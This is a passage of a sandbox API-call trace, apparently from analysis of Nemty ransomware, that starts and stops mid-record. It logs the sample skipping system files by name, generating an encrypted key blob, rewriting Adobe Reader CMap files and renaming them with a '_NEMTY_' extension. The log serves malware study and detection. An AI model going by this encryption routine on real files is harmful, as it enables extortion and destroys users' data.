ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x26499, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSCpc-EUC-UCS2C", cAlternateFileName="KSCPC-~3")) returned 1 [0210.039] lstrcmpiW (lpString1="KSCpc-EUC-UCS2C", lpString2=".") returned 1 [0210.039] lstrcmpiW (lpString1="KSCpc-EUC-UCS2C", lpString2="..") returned 1 [0210.039] lstrcmpiW (lpString1="KSCpc-EUC-UCS2C", lpString2="...") returned 1 [0210.039] lstrcmpiW (lpString1="KSCpc-EUC-UCS2C", lpString2="windows") returned -1 [0210.039] lstrcmpiW (lpString1="KSCpc-EUC-UCS2C", lpString2="$RECYCLE.BIN") returned 1 [0210.039] lstrcmpiW (lpString1="KSCpc-EUC-UCS2C", lpString2="rsa") returned -1 [0210.039] lstrcmpiW (lpString1="KSCpc-EUC-UCS2C", lpString2="NTDETECT.COM") returned -1 [0210.039] lstrcmpiW (lpString1="KSCpc-EUC-UCS2C", lpString2="ntldr") returned -1 [0210.039] lstrcmpiW (lpString1="KSCpc-EUC-UCS2C", lpString2="MSDOS.SYS") returned -1 [0210.039] lstrcmpiW (lpString1="KSCpc-EUC-UCS2C", lpString2="IO.SYS") returned 1 [0210.039] lstrcmpiW (lpString1="KSCpc-EUC-UCS2C", lpString2="boot.ini") returned 1 [0210.039] lstrcmpiW (lpString1="KSCpc-EUC-UCS2C", lpString2="boot.ini") returned 1 [0210.039] lstrcmpiW (lpString1="KSCpc-EUC-UCS2C", lpString2="AUTOEXEC.BAT") returned 1 [0210.039] lstrcmpiW (lpString1="KSCpc-EUC-UCS2C", lpString2="ntuser.dat") returned -1 [0210.039] lstrcmpiW (lpString1="KSCpc-EUC-UCS2C", lpString2="desktop.ini") returned 1 [0210.039] lstrcmpiW (lpString1="KSCpc-EUC-UCS2C", lpString2="CONFIG.SYS") returned 1 [0210.039] lstrcmpiW (lpString1="KSCpc-EUC-UCS2C", lpString2="RECYCLER") returned -1 [0210.039] lstrcmpiW (lpString1="KSCpc-EUC-UCS2C", lpString2="BOOTSECT.BAK") returned 1 [0210.039] lstrcmpiW (lpString1="KSCpc-EUC-UCS2C", lpString2="bootmgr") returned 1 [0210.039] lstrcmpiW (lpString1="KSCpc-EUC-UCS2C", lpString2="programdata") returned -1 [0210.039] lstrcmpiW (lpString1="KSCpc-EUC-UCS2C", lpString2="appdata") returned 1 [0210.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0210.039] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCpc-EUC-UCS2C", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0210.039] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCpc-EUC-UCS2C", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KSCpc-EUC-UCS2C", lpUsedDefaultChar=0x0) returned 15 [0210.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0210.039] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCpc-EUC-UCS2C", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0210.039] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCpc-EUC-UCS2C", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KSCpc-EUC-UCS2C", lpUsedDefaultChar=0x0) returned 15 [0210.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0210.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0210.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0210.039] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCpc-EUC-UCS2C", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0210.040] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCpc-EUC-UCS2C", cchWideChar=15, lpMultiByteStr=0x653ec20, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KSCpc-EUC-UCS2C", lpUsedDefaultChar=0x0) returned 15 [0210.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0210.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0210.040] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCpc-EUC-UCS2C", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0210.040] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCpc-EUC-UCS2C", cchWideChar=15, lpMultiByteStr=0x653ec58, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KSCpc-EUC-UCS2C", lpUsedDefaultChar=0x0) returned 15 [0210.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0210.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0210.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0210.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0210.040] Sleep (dwMilliseconds=0x5) [0210.052] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x30d695b0, dwHighDateTime=0x1d561e8)) [0210.052] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x30d695b0, dwHighDateTime=0x1d561e8)) [0210.052] GetLastError () returned 0x5 [0210.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0210.053] GetLastError () returned 0x5 [0210.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0210.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0210.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0210.053] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0210.053] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0210.053] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0210.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0210.053] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="s4QKPdGUR2nTMOQZwxmO12WshiR1CJrYa9EChpeMZSrOoxpqf1vqh4xaa0wWJPy5\r\n0kw0PAn+HIBL2UM2mTfGT8pFK6pbgWZiQ0dPh8aZ5popWfqLwC/P7FPLQapbYHEA\r\n5Oxjwib1NMDiot5RLxkus4CpAbjwQuQcHaz3D7jGN/OQL5DS181bQeO5uVbSslEb\r\nwjs52MHiTSWaArdnuZJdF38PX7/ZSlC8EalRlAxxkX1FrE4+yO9GzDC9h0svOvbf\r\niuFznLSbY8NNru4/Kmb3kmFf85p4uuytdIhl09qPot0UFgeZsciUw6rBrkcO17J6\r\n8BCUyZfxyWIS5c4qGq6PnA==\r\n", pcchString=0x653e91c) returned 1 [0210.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0210.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0210.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0210.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0210.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0210.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0210.053] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCpc-EUC-UCS2C" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscpc-euc-ucs2c"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0210.054] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0210.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0210.054] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.054] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.063] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.063] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.064] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.064] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.073] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.073] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.073] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.073] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.082] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.082] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.082] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.082] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.092] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.092] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.092] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.092] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.101] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.101] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.101] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.101] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.111] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.111] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.111] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.111] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.120] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.120] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.120] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.120] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.129] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.129] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.129] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.130] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.139] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.139] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.139] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.139] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.148] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.148] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.148] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.148] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.154] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.154] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.154] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.155] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.160] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.160] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.161] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.161] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0210.161] CloseHandle (hObject=0xffffffff) returned 0 [0210.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0210.161] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0210.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0210.161] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0210.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0210.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0210.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0210.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0210.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0210.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0210.161] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCpc-EUC-UCS2C" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscpc-euc-ucs2c"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCpc-EUC-UCS2C._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscpc-euc-ucs2c._nemty_kgobjgd_")) returned 0 [0210.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0210.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0210.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0210.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0210.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0210.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0210.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0210.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0210.162] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x25f07, dwReserved0=0x0, dwReserved1=0x0, cFileName="UCS2-90ms-RKSJ", cAlternateFileName="UCS2-9~1")) returned 1 [0210.162] lstrcmpiW (lpString1="UCS2-90ms-RKSJ", lpString2=".") returned 1 [0210.162] lstrcmpiW (lpString1="UCS2-90ms-RKSJ", lpString2="..") returned 1 [0210.162] lstrcmpiW (lpString1="UCS2-90ms-RKSJ", lpString2="...") returned 1 [0210.162] lstrcmpiW (lpString1="UCS2-90ms-RKSJ", lpString2="windows") returned -1 [0210.162] lstrcmpiW (lpString1="UCS2-90ms-RKSJ", lpString2="$RECYCLE.BIN") returned 1 [0210.162] lstrcmpiW (lpString1="UCS2-90ms-RKSJ", lpString2="rsa") returned 1 [0210.162] lstrcmpiW (lpString1="UCS2-90ms-RKSJ", lpString2="NTDETECT.COM") returned 1 [0210.162] lstrcmpiW (lpString1="UCS2-90ms-RKSJ", lpString2="ntldr") returned 1 [0210.162] lstrcmpiW (lpString1="UCS2-90ms-RKSJ", lpString2="MSDOS.SYS") returned 1 [0210.162] lstrcmpiW (lpString1="UCS2-90ms-RKSJ", lpString2="IO.SYS") returned 1 [0210.162] lstrcmpiW (lpString1="UCS2-90ms-RKSJ", lpString2="boot.ini") returned 1 [0210.162] lstrcmpiW (lpString1="UCS2-90ms-RKSJ", lpString2="boot.ini") returned 1 [0210.162] lstrcmpiW (lpString1="UCS2-90ms-RKSJ", lpString2="AUTOEXEC.BAT") returned 1 [0210.162] lstrcmpiW (lpString1="UCS2-90ms-RKSJ", lpString2="ntuser.dat") returned 1 [0210.162] lstrcmpiW (lpString1="UCS2-90ms-RKSJ", lpString2="desktop.ini") returned 1 [0210.162] lstrcmpiW (lpString1="UCS2-90ms-RKSJ", lpString2="CONFIG.SYS") returned 1 [0210.162] lstrcmpiW (lpString1="UCS2-90ms-RKSJ", lpString2="RECYCLER") returned 1 [0210.162] lstrcmpiW (lpString1="UCS2-90ms-RKSJ", lpString2="BOOTSECT.BAK") returned 1 [0210.162] lstrcmpiW (lpString1="UCS2-90ms-RKSJ", lpString2="bootmgr") returned 1 [0210.162] lstrcmpiW (lpString1="UCS2-90ms-RKSJ", lpString2="programdata") returned 1 [0210.162] lstrcmpiW (lpString1="UCS2-90ms-RKSJ", lpString2="appdata") returned 1 [0210.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0210.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-90ms-RKSJ", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0210.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-90ms-RKSJ", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 